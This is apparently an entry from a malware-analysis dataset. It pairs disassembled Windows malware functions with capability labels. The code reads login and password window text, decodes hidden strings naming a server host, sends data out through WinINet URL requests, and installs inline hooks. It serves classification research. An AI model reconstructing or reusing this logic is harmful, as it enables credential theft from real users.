joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20001740
Capabilities:
Contain obfuscated stackstrings
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
mov eax, 0x76726553
mov esi, 0x2000519c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
xor ebx, ebx
push eax
push 0x28
push esi
lea eax, [ebp - 0x18]
push 0x20005018
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x614e7265
push eax
mov dword [ebp - 0x20], 0x656d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x7473614c
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], 0x63655c2e
mov dword [ebp - 0x4c], 0x6f685c74
mov dword [ebp - 0x48], 0x692e656d
mov dword [ebp - 0x44], 0x696e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x694c7265
mov dword [ebp - 0x34], 0x442e7473
mov dword [ebp - 0x30], 0x7461
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x200017ea
xor eax, eax
jmp 0x200018d7
lea eax, [ebp - 0x154]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
mov edi, edi
nop
nop
nop
mov edi, edi
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x154]
push closesocket
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [edi + 1]
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x200018ca
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2c
push eax
call edi
mov esi, eax
push 0x2c
inc esi
push esi
call edi
push 0x28
push ebx
mov ebx, 0x20005174
mov edi, eax
push ebx
call sub.MSVCRT.dll_memset
sub edi, esi
push edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x28
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20001988
Capabilities:
Create thread

Disassembly:
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
xor eax, eax
push eax
push eax
push eax
push 0x200019a4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret
Function at 0x20001ae0
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x200051f0]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x20001b27
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x20001b51
cmp dword [ebp - 8], ebx
jne 0x20001b73
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x20001b47
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x20001b90
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x20001b99
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x200051c8
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x20001bce
push 0x20005244
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20001bce
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x20001be8
push 0x28
push 0x20005244
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x20001ba7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20001bed
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x200051f0]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x20001c5a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x20001c0b
push 0x28
mov edi, 0x2000521c
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20001cbc
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x200051f0]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20001d32
push 0x64
call edi
jmp 0x20001d25
push ebx
call esi
test eax, eax
je 0x20001d4f
push 0x28
push 0x2000514c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20001d32
call fcn.20001988
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20001e4a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
and dword [ebp - 4], 0
push edi
push 0x20005010
mov dword [ebp - 0x24], 0x613f7325
mov dword [ebp - 0x20], 0x7526343d
mov dword [ebp - 0x1c], 0x2673253d
mov dword [ebp - 0x18], 0x73253d67
mov dword [ebp - 0x14], 0x253d7326
mov dword [ebp - 0x10], 0x70612673
mov dword [ebp - 0xc], 0x646e6570
mov dword [ebp - 8], 0x64253d
call fcn.200036af
push eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x224]
add esp, 0xc
test eax, eax
je 0x20001f38
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20001f38
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push 0x200052f4
push 0x200052c0
push 0x20069440
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x224]
push eax
call fcn.20002f3b
mov edi, eax
add esp, 0x20
test edi, edi
je 0x20001f38
push edi
call sub.MSVCRT.dll_strlen
cmp eax, 6
pop ecx
jne 0x20001f30
push esi
mov esi, 0x20069364
push edi
push esi
call sub.MSVCRT.dll_strcpy
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0xc
mov eax, esi
pop esi
jmp 0x20001f3a
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
pop edi
leave
ret
Function at 0x20001fa0
Capabilities:
Contain obfuscated stackstrings
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
mov eax, 0x72727543
push ebx
push esi
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1c], eax
push edi
lea eax, [ebp - 0x180]
xor ebx, ebx
mov edx, 0x53746e65
mov ecx, 0x65767265
push 0x200694ec
push eax
mov dword [ebp - 0x7c], 0x72657375
mov dword [ebp - 0x78], 0x61746164
mov dword [ebp - 0x74], 0x7275635c
mov dword [ebp - 0x70], 0x746e6572
mov dword [ebp - 0x6c], 0x76726573
mov dword [ebp - 0x68], 0x692e7265
mov dword [ebp - 0x64], 0x696e
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0xc], 0x76726553
mov dword [ebp - 8], 0x7265
mov dword [ebp - 4], ebx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], 0x64644172
mov dword [ebp - 0x4c], 0x73736572
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x72
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], 0x47746e65
mov dword [ebp - 0x14], 0x70756f72
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x30], 0x7875687a
mov dword [ebp - 0x2c], 0x2e6e6169
mov dword [ebp - 0x28], 0x2e6d6f63
mov dword [ebp - 0x24], 0x6e63
mov dword [ebp - 0x20], ebx
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x180]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x180]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x180]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x200694c8
push eax
lea eax, [ebp - 0x284]
push 0x104
push eax
lea eax, [ebp - 0x5c]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x180]
push eax
push 0x28
push 0x200052f4
lea eax, [ebp - 0x44]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x180]
push eax
push 0x28
push 0x200052c0
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
neg eax
pop ecx
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret
Function at 0x20002686
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
movzx eax, byte [ebp + 0x10]
push esi
push eax
movzx eax, byte [ebp + 0xc]
push eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
movzx eax, byte [ebp + 8]
and dword [ebp - 0xc], 0
and dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x1c], 0x32302e25
mov dword [ebp - 0x18], 0x302e2564
mov dword [ebp - 0x14], 0x2e256432
mov dword [ebp - 0x10], 0x643230
mov dword [ebp - 0x30], 0x613f7325
mov dword [ebp - 0x2c], 0x7526353d
mov dword [ebp - 0x28], 0x2673253d
mov dword [ebp - 0x24], 0x73253d76
call esi
lea eax, [ebp - 8]
push eax
push 0x2006946c
call sub.MSVCRT.dll_strcpy
add esp, 0x1c
cmp dword [0x200694bc], 0
je 0x20002776
push 0x20005010
call fcn.200036af
push eax
lea eax, [ebp - 0x230]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x230]
add esp, 0xc
test eax, eax
je 0x20002776
lea eax, [ebp - 0x230]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20002776
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push 0x20069440
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
call fcn.20002f3b
add esp, 0x18
test eax, eax
je 0x20002776
push eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop esi
leave
ret 0xc

Function at 0x200027e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 1
call fcn.20001e4a
xor esi, esi
pop ecx
cmp eax, esi
je 0x20002820
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x32423141
push ecx
push eax
mov dword [ebp - 8], 0x3343
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x20002820
push 0x7530
call fcn.20002d0a
cmp dword [0x2000531c], esi
jne 0x2000283c
push 0x2000531c
push esi
push esi
push 0x20001ddc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
leave
ret
Function at 0x20002c2d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20004100
push 0x20003920
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20002ce2
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002d0a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x20002d51
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
pop edi
jne 0x20002d68
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x20002d7f
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x20002d7f
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20002f3b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
mov edi, edi
nop
nop
nop
mov edi, edi
xor ebx, ebx
cmp dword [0x200694cc], ebx
je 0x20002f74
cmp dword [0x200694d0], ebx
je 0x20002f74
cmp dword [0x200694d4], ebx
je 0x20002f74
cmp dword [0x200694d8], ebx
jne 0x20003038
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x200694cc], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x200694d0], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x200694d4], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x200694d8], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x200694d0]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x20003115
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x200694d4]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x2000310c
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x200694d8]
test eax, eax
je 0x200030fa
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x200030f6
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x200030c2
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x200030f6
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x200694d8]
test eax, eax
jne 0x2000309c
cmp edi, ebx
ja 0x20003106
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x2000310c
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x200694cc]
push dword [ebp - 0x10]
call dword [0x200694cc]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x200037d9
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
xor eax, eax
mov ecx, 0x43676552
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
push esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x10]
push edi
mov edx, 0x53676552
mov ecx, 0x61567465
push eax
mov dword [ebp - 0x10], 0x41564441
mov dword [ebp - 0xc], 0x32334950
mov dword [ebp - 8], 0x6c6c642e
mov dword [ebp - 0x1c], 0x65736f6c
mov dword [ebp - 0x18], 0x79654b
mov dword [ebp - 0x50], 0x74616572
mov dword [ebp - 0x4c], 0x79654b65
mov dword [ebp - 0x48], 0x41
mov dword [ebp - 0x30], 0x4f676552
mov dword [ebp - 0x2c], 0x4b6e6570
mov dword [ebp - 0x28], 0x417965
mov dword [ebp - 0x68], 0x51676552
mov dword [ebp - 0x64], 0x79726575
mov dword [ebp - 0x60], 0x756c6156
mov dword [ebp - 0x5c], 0x41784565
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x4165756c
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x4565756c
mov dword [ebp - 0x70], 0x4178
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
push edi
call esi
mov dword [0x20069804], eax
lea eax, [ebp - 0x54]
push eax
push edi
call esi
mov dword [0x200697fc], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x200697f4], eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x200697f8], eax
lea eax, [ebp - 0x40]
push eax
push edi
call esi
mov dword [0x200697f0], eax
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
pop edi
mov dword [0x20069800], eax
pop esi
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43b004]
jne 0x40100a
repz ret
jmp fcn.004016f4

Function at 0x405698
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040305b
and dword [ebp - 4], 0
cmp dword [0x43ccd8], 0
mov ebx, eax
jne 0x405749
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4057fa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4057fa
push eax
call fcn.00402fe9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43ccd8], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43ccdc], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43cce0], eax
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x43cce8], eax
test eax, eax
je 0x405749
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x43cce4], eax
mov eax, dword [0x43cce4]
cmp eax, ebx
je 0x4057a1
cmp dword [0x43cce8], ebx
je 0x4057a1
push eax
call fcn.00403064
push dword [0x43cce8]
mov esi, eax
call fcn.00403064
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4057a1
test edi, edi
je 0x4057a1
call esi
test eax, eax
je 0x405798
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405798
test byte [ebp - 0xc], 1
jne 0x4057a1
or dword [ebp + 0x10], 0x200000
jmp 0x4057da
mov eax, dword [0x43ccdc]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4057da
mov eax, dword [0x43cce0]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43ccd8]
call fcn.00403064
pop ecx
test eax, eax
je 0x4057fa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4057fc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4378a0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x42c
mov eax, dword [0x43b004]
xor eax, esp
mov dword [esp + 0x428], eax
cmp edi, 0x182
jne 0x4378cb
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
jmp 0x4378ff
cmp edi, 0x19f
jne 0x4378ff
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push str.fihiresaduduvakuzafanenazewuduhe
push str.vabunayadedifecibu
push str.yosavagenisusoluselidesuli
push str.nibezitihomoyaradilocaxihenazigo
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
xor esi, esi
test edi, edi
jle 0x437972
jmp 0x437910
lea ecx, [esp + 8]
mov dword [esp + 4], 5
mov dword [esp + 8], 0
call fcn.00437890
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
mov cl, byte [esp + 4]
xor byte [ebx + esi], cl
cmp edi, 0xf
jne 0x43796d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x437910
pop esi
cmp edi, 0x2d
jne 0x43798c
mov dword [0x515500], 0xa62e7790
mov dword [0x515504], 0xffffffff
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.00401000
add esp, 0x42c
ret